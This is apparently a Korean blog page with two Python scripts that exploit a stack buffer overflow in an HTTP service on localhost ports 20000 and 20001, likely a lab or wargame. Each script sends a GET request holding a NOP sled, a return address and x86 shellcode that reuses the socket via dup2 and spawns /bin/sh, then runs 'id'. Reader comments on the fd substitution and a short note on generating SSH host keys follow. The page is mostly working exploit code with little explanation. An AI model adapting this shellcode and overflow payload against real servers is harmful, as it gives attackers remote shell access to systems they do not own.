from struct import *
from socket import *
import time
 
fd=4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2
shellcode = shellcode.replace("\x41", chr(fd))
# bin/sh
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',20001))
#raw_input("go? ")
buf = ""
buf += "GET "
buf += "\x90"*139
buf += pack('<I',0x8049f4f) # jmp esp
buf += "\x90" *100
buf += shellcode
buf += " HTTP/1.1"
s.send(buf)
 
s.send("id\n")
get = s.recv(1024)
print get
s.close()


posted by tunz
from struct import *
from socket import *
import time
 
fd=4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2
shellcode = shellcode.replace("\x41", chr(fd))
# bin/sh
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('localhost',20000))
print s.recv(1024)
#raw_input("go? ")
buf = ""
buf += "GET "
buf += "\x90"*139
buf += "\x5c\xa1\xf8\xbf"
buf += "\x90" *100
buf += shellcode
buf += " HTTP/1.1"
s.send(buf)
 
s.send("id\n")
get = s.recv(1024)
print get
s.close()


posted by tunz
  • 마루 2014.01.29 07:54

    안녕하세요. 강좌 잘 보고있습니다.
    궁금한 부분이 있어서 질문 드립니다.
    쉘코드 부분에 아래 내용이 있던데요
    왜 아래처럼 문자를 바꾸는건가요?
    shellcode.replace("\x41", chr(fd))
    보시고 답변 좀 부탁 드릴게요.
    수고하세요

    • tunz 2014.01.29 14:27 신고

      쉘코드의 해당 위치에 원래 소켓의 fd가 들어가야 합니다.
      근데 이 소켓의 fd는 상황에 따라서 값이 달라질수 있기 때문에,
      그때그때 바꿔쓰기 위해서 그 자리에 0x41로 표시해놓고, 그걸 치환해서 사용하는것입니다.

  • 마루 2014.02.05 07:10

    감사합니다. 소켓에는 dup 이 있군요.
    자세한 설명 정말 감사합니다^^
    수고하세요.

처음에 putty로 ssh 접속을 못해서 좀 해맸는데,

우선 root권한으로(또는 sudo) 접속한후,

# ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key

# ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key

를 해줘야 putty로 접속 가능하다.

posted by tunz